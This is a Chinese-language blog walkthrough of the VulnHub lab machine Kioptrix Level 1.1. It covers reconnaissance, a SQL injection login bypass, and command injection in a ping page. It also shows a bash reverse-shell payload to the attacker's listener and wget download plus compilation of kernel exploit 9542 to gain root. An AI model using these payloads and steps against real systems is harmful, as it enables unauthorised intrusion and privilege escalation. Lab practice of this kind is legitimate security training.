实验环境

攻击机(kali):192.168.10.11

靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

kali 与靶机为同种网络模式(此处均为桥接模式)

信息搜集

主机探测

使用 arp-scan 进行主机探测:sudo arp-scan -l

得到靶机 IP 为:192.168.10.12

端口扫描

使用 nmap 进行端口扫描:sudo nmap -T4 -sV -O -p- 192.168.10.12

└─$ sudo nmap -T4 -sV -O -p- 192.168.10.12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 20:55 CST
Nmap scan report for 192.168.10.12
Host is up (0.00056s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
607/tcp  open  status   1 (RPC #100024)
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:C7:1C:1E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.78 seconds

目录扫描

使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.10.12/ -x 400-599 -t 50

无特殊路径

漏洞挖掘

/index.php SQLi

打开浏览器访问目标网站,发现存在登录框,查看网页源代码发现用户名Administrator被硬编码到了 html 中:

接下来以此为用户名,在 burp 中进行测试,首先进行弱口令测试,设定密码为暴破目标:

添加密码字典:

由暴破结果得知此处并无弱口令漏洞:

接着清空字典列表,添加Fuzzing - SQL injection即 SQL 注入的 fuzzing 字典:

再次暴破由结果可知,此处存在 SQL 注入漏洞可致使无密码登录:

直接将成功跳转后台的响应包丢到浏览器打开:

发现后台是一个执行 ping 命令的页面:

/pingit.php RCE

接下来对 ping 功能进行进一步测试,尝试挖掘命令执行漏洞。

将 URL 为/pingit.php的 POST 请求转发到 Repeater 模块进行测试:

在 IP 地址后尝试使用分隔符;并接上其它命令如id,发包后发现id命令被成功执行:

证明此处存在命令执行漏洞。

漏洞利用

命令执行getshell

在攻击机开启监听:nc -lvnp 5555

构造 bash 反弹 shell 的 Payload:;bash -i >& /dev/tcp/192.168.10.11/5555 0>&1

带入请求并发送: ps:在原始 http 请求中需要对空格进行 url 编码,burp 中直接右键 payload 进行 url 编码即可

建立交互式 shell:export PS1="\u@\H:\w$ "

内核提权

接下来要进行提权,搜集系统信息:

[email protected]:/var/www/html$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

[email protected]:/var/www/html$ lsb_release -a
LSB Version:    :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description:    CentOS release 4.5 (Final)
Release:        4.5
Codename:       Final

得知目标主机系统为 centos4.5,系统内核版本为 2.6.9,回到 kali 使用 searchsploit 查询是否存在提权漏洞:searchsploit centos 4.5

发现存在编号 9542 的漏洞适用于此,将其复制出来并开启 web 服务,稍后下载至目标机器编译运行:

┌──(z0sen㉿kali)-[~/Desktop]
└─$ searchsploit -p 9542   
  Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
      URL: https://www.exploit-db.com/exploits/9542
     Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
    Codes: CVE-2009-2698
 Verified: True
File Type: C source, ASCII text
                                                                                                                               
┌──(z0sen㉿kali)-[~/Desktop]
└─$ cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c ./    
                                                                                                                               
┌──(z0sen㉿kali)-[~/Desktop]
└─$ ls
9542.c
                                                                                                                               
┌──(z0sen㉿kali)-[~/Desktop]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

将漏洞利用代码下载到靶机/tmp目录进行编译使用:wget http://192.168.10.11/9542.c

ps:因为有时可能会在存储和访问其他目录中的文件时遇到权限问题,所以存到/tmp目录

[email protected]:/tmp$ ls
9542.c
[email protected]:/tmp$ gcc -o exp 9542.c
9542.c:109:28: warning: no newline at end of file
[email protected]:/tmp$ ls
9542.c
exp
[email protected]:/tmp$ id  
uid=48(apache) gid=48(apache) groups=48(apache)
[email protected]:/tmp$ ./exp
sh: no job control in this shell
[email protected]:/tmp$ id
uid=0(root) gid=0(root) groups=48(apache)
[email protected]:/tmp$ 

拿下!

文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
Walkthrough VulnHub Linux SQLi
喜欢就支持一下吧